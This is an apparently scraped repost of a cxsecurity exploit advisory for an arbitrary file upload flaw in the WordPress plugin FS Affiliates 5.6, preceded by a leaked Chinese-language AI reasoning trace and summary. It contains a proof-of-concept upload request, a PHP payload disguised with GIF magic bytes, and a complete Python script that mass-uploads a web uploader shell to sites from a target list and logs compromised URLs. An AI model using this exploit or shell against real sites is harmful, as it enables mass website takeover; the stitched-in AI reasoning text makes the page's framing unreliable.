WordPress Plugin FS Affiliates 5.6 - Unrestricted Arbitrary File Upload
好的,我现在需要帮用户总结一篇文章的内容,控制在100字以内。用户的要求是直接写文章描述,不需要特定的开头。首先,我得仔细阅读文章内容,理解其主要信息。 文章标题是关于WordPress插件FS Affiliates 5.6的一个漏洞,类型是不受限制的任意文件上传和远程代码执行。描述部分提到插件在AJAX文件上传处理中没有正确验证文件类型和权限,导致攻击者可以上传恶意PHP脚本,伪装成图片,从而控制服务器。 接下来,文章给出了一个概念验证的步骤,包括准备一个uploader.php文件和发送POST请求。成功上传后,可以通过特定URL访问这个脚本。最后还有一个Python脚本用于自动化攻击。 总结的时候,我需要抓住关键点:漏洞名称、影响版本、问题原因、攻击后果以及修复建议。同时要控制字数在100字以内,确保信息准确且简洁。 可能的结构是:插件版本、漏洞类型、攻击方式、后果、建议升级。这样既全面又简洁。 现在检查一下是否所有关键点都涵盖:插件名称FS Affiliates 5.6、任意文件上传漏洞、绕过验证上传恶意脚本、导致RCE、建议升级到安全版本。这些都包括了。 最后确保语言流畅,没有语法错误,并且符合用户的要求。 </think> WordPress插件FS Affiliates 5.6存在未受限制的任意文件上传漏洞,攻击者可上传伪装为图片的恶意PHP脚本,导致远程代码执行并控制服务器。建议升级到安全版本以修复此漏洞。 2026-1-25 18:39:51 Author: cxsecurity.com(查看原文) 阅读量:0 收藏

WordPress Plugin FS Affiliates 5.6 - Unrestricted Arbitrary File Upload

####### [UnM@SK Security Advisory] ####### [#] Title: WordPress Plugin FS Affiliates 5.6 - Unrestricted Arbitrary File Upload [#] Author: UnM@SK [#] Date: 2026-01-23 [#] Plugin Name: FS Affiliates (folder: affs) [#] Plugin Version: 5.6 (and possibly below) [#] Vulnerability Type: Arbitrary File Upload / Remote Code Execution (RCE) [#] Tested on: WordPress 6.x --- [ DESCRIPTION ] --- The plugin FS Affiliates for WordPress fails to properly validate file types and permissions in its AJAX file upload handler. An attacker can upload a malicious PHP script disguised with image magic bytes, leading to full server compromise (RCE). --- [ PROOF OF CONCEPT ] --- 1. Prepare a file named "uploader.php" with the following content: GIF89a <?php echo "Pwned by UnM@SK"; phpinfo(); ?> 2. Send the following POST request: POST /wp-admin/admin-ajax.php HTTP/1.1 Host: [TARGET] Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXMP3iUnCATDwy4ls ------WebKitFormBoundaryXMP3iUnCATDwy4ls Content-Disposition: form-data; name="action" fs_affiliates_file_upload ------WebKitFormBoundaryXMP3iUnCATDwy4ls Content-Disposition: form-data; name="key" fs_affiliates_file_upload_76 ------WebKitFormBoundaryXMP3iUnCATDwy4ls Content-Disposition: form-data; name="fs_affiliates_file_upload_76"; filename="uploader.php" Content-Type: image/jpeg [PAYLOAD_HERE] ------WebKitFormBoundaryXMP3iUnCATDwy4ls-- --- [ SHELL ACCESS ] --- Successfully uploaded files can be accessed at: http://[TARGET]/wp-content/uploads/fs-files/uploader.php --- [ GREETZ ] --- IdiotCrew - L4663R666H05T #auto Exploit Input site list.txt no http/https in list and start python3 up.py import requests import urllib3 # Mematikan peringatan SSL urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # --- KONFIGURASI --- TARGETS_FILE = 'list.txt' OUTPUT_FILE = 'output.txt' FILENAME = 'uploader.php' # PHP Uploader Payload (dengan Header GIF89a untuk Bypass) SHELL_PAYLOAD = '''GIF89a <?php echo "<b>[ Uploader Shell Loaded ]</b><br><br>"; if(isset($_FILES['file'])){ if(move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name'])){ echo "<font color='green'>Upload Success:</font> ".$_FILES['file']['name']; } else { echo "<font color='red'>Upload Failed!</font>"; } } ?> <form method="POST" enctype="multipart/form-data"> <input type="file" name="file"> <input type="submit" value="Upload Now"> </form> ''' def pwn(domain): domain = domain.strip().replace('http://', '').replace('https://', '').rstrip('/') if not domain: return # Coba kedua protokol for proto in ['https://', 'http://']: base_url = f"{proto}{domain}" ajax_url = f"{base_url}/wp-admin/admin-ajax.php" shell_url = f"{base_url}/wp-content/uploads/fs-files/{FILENAME}" print(f"[*] Targeting: {base_url}") data = { 'action': 'fs_affiliates_file_upload', 'key': 'fs_affiliates_file_upload_76' } files = { 'fs_affiliates_file_upload_76': (FILENAME, SHELL_PAYLOAD, 'image/jpeg') } try: # Kirim Shell requests.post(ajax_url, data=data, files=files, timeout=12, verify=False) # Verifikasi Shell check = requests.get(shell_url, timeout=12, verify=False) if check.status_code == 200 and "Uploader Shell Loaded" in check.text: result = f"[+] PWNED: {shell_url}" print(result) with open(OUTPUT_FILE, 'a') as f: f.write(result + '\n') return # Stop jika sudah sukses di domain ini else: print(f" [-] Shell not found on {proto}") except: continue def main(): try: with open(TARGETS_FILE, 'r') as f: targets = [line.strip() for line in f if line.strip()] print(f"[*] Running exploit on {len(targets)} targets...") for target in targets: pwn(target) print(f"\n[*] Finished. Results saved in {OUTPUT_FILE}") except FileNotFoundError: print(f"Error: {TARGETS_FILE} not found!") if __name__ == "__main__": main() ##########################################



 

Thanks for you comment!
Your message is in quarantine 48 hours.

{{ x.nick }}

|

Date:

{{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1


{{ x.comment }}


Copyright 2026, cxsecurity.com

文章来源: https://cxsecurity.com/issue/WLB-2026010015
如有侵权请联系:admin#unsafe.sh